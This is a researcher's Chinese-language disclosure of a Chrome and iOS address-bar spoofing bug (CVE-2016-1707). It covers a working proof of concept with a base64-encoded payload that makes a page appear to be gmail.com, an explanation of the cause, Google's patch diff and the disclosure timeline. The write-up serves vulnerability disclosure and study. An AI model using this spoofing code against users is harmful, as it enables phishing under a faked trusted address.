Chrome瀏覽器地址欄欺騙漏洞(CVE-2016-1707)
Chrome瀏覽器地址欄欺騙漏洞(CVE-2016-1707),這個漏洞筆者于2016年6月報告給Google,現(xiàn)在把漏洞細節(jié)分享給大家。URL Spoofing漏洞可以偽造一個合法的網(wǎng)站地址。攻擊者可以利用這個漏洞對用戶發(fā)起網(wǎng)絡釣魚攻擊。
受影響版本:Chrome < v52.0.2743.82,IOS < v10
0x01 漏洞詳情
- POC:
- <script>
- payload="PGJvZHk+PC9ib2R5Pg0KPHNjcmlwdD4NCiAgICB2YXIgbGluayA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ2EnKTsNCiAgICBsaW5rLmhyZWYgPSAnaHR0cHM6Ly9nbWFpbC5jb206Oic7DQogICAgZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChsaW5rKTsNCiAgICBsaW5rLmNsaWNrKCk7DQo8L3NjcmlwdD4=";
- function pwned() {
- var t = window.open('https://www.gmail.com/', 'aaaa');
- t.document.write(atob(payload));
- t.document.write("<h1>Address bar says https://www.gmail.com/ - this is NOT https://www.gmail.com/</h1>");
- }
- </script>
- <a href="https://hack.com::/" target="aaaa" onclick="setTimeout('pwned()','500')">click me</a><br>
那么這個漏洞是如何發(fā)生的呢?筆者現(xiàn)在來解讀一下整個代碼的加載過程。首先點擊click me這個鏈接,瀏覽器去打開一個name為aaaa的新窗口,這個頁面去加載“https://hack.com::”,這個地址可以隨便寫。500微秒后運行pwned(),在aaaa窗口打開https://www.gmail.com,當然這個URL可以為空。到現(xiàn)在為止,一切代碼運行都很正常,接下來這段代碼就是觸發(fā)漏洞的核心代碼。
base64加密的這段代碼:
- base64 payload code:
- <body></body>
- <script>
- var link = document.createElement('a');
- link.href = 'https://gmail.com::';
- document.body.appendChild(link);
- link.click();
- </script>
接下來這段代開始在aaaa窗口頁面去提交(commit)https://gmail.com::,這是一個很奇妙的事情,https://gmail.com::本是一個無效的地址,如何去被提交呢。在嘗試了多種方法后,筆者發(fā)現(xiàn)使用a標簽點擊的方式可以做到(window.open/location則不可以),并且使這個無效地址處在了一個等待狀態(tài)(pending status)。此時,實際Chrome是加載了about:blank(已經(jīng)到了about:blank域),但在處理最后URL地址欄中的顯示時,Chrome卻選擇了處在等待狀態(tài)的https://gmail.com:: 作為最后的提交地址,加載后的https://gmail.com::在URL地址欄中會以https://gmail.com這樣的方式呈現(xiàn),兩個::會被隱藏。此時,整個加載過程完成。一個完美的URL Spoofing漏洞就這樣產(chǎn)生了。
Online demo:
http://xisigr.com/test/spoof/chrome/1.html
http://xisigr.com/test/spoof/chrome/2.html
如果你還沒有升級版本,Chrome < v52.0.2743.82,IOS < v10,那么可以嘗試運行筆者網(wǎng)站上的這兩個DEMO。
0x02如何修復
這個漏洞最關鍵的地方是,Chrome允許在Web頁面加載的時候,提交一個無效的地址所導致。Google也是基于此給出了補丁文件,就是在加載Web頁面的時候不允許提交無效地址,如果檢測到是無效地址,則直接使當前URL為about:blank。
- [self optOutScrollsToTopForSubviews];
- // Ensure the URL is as expected (and already reported to the delegate).
- - DCHECK(currentURL == _lastRegisteredRequestURL) //之前只是判斷了當前URL和最后請求的URL是否相同
- + // If |_lastRegisteredRequestURL| is invalid then |currentURL| will be
- + // "about:blank".
- + DCHECK((currentURL == _lastRegisteredRequestURL) ||
- + (!_lastRegisteredRequestURL.is_valid() && //增加判斷是否是一個無效的URL
- + _documentURL.spec() == [url::kAboutBlankURL)](url::kAboutBlankURL)))
- << std::endl
- << "currentURL = [" << currentURL << "]" << std::endl
- << "_lastRegisteredRequestURL = [" << _lastRegisteredRequestURL << "]";
- // This is the point where the document's URL has actually changed, and
- // pending navigation information should be applied to state information.
- [self setDocumentURL:net::GURLWithNSURL([_webView URL])];
- - DCHECK(_documentURL == _lastRegisteredRequestURL);
- +
- + if (!_lastRegisteredRequestURL.is_valid() &&
- + _documentURL != _lastRegisteredRequestURL) {
- + // if |_lastRegisteredRequestURL| is an invalid URL, then |_documentURL|
- + // will be "about:blank".
- + [[self sessionController] updatePendingEntry:_documentURL];
- + }
- + DCHECK(_documentURL == _lastRegisteredRequestURL ||
- + (!_lastRegisteredRequestURL.is_valid() &&
- + _documentURL.spec() == url::kAboutBlankURL));
- +
- self.webStateImpl->OnNavigationCommitted(_documentURL);
- [self commitPendingNavigationInfo];
- if ([self currentBackForwardListItemHolder]->navigation_type() ==
0x03 披露時間
2016/6/22 報送給Google,https://bugs.chromium.org/
2016/6/22 Google確認漏洞,漏洞級別High
2016/7/14 Google確認獎勵$3000
2016/7/20 Google發(fā)布安全公告,CVE-2016-1707
2016/10/2 Google公開漏洞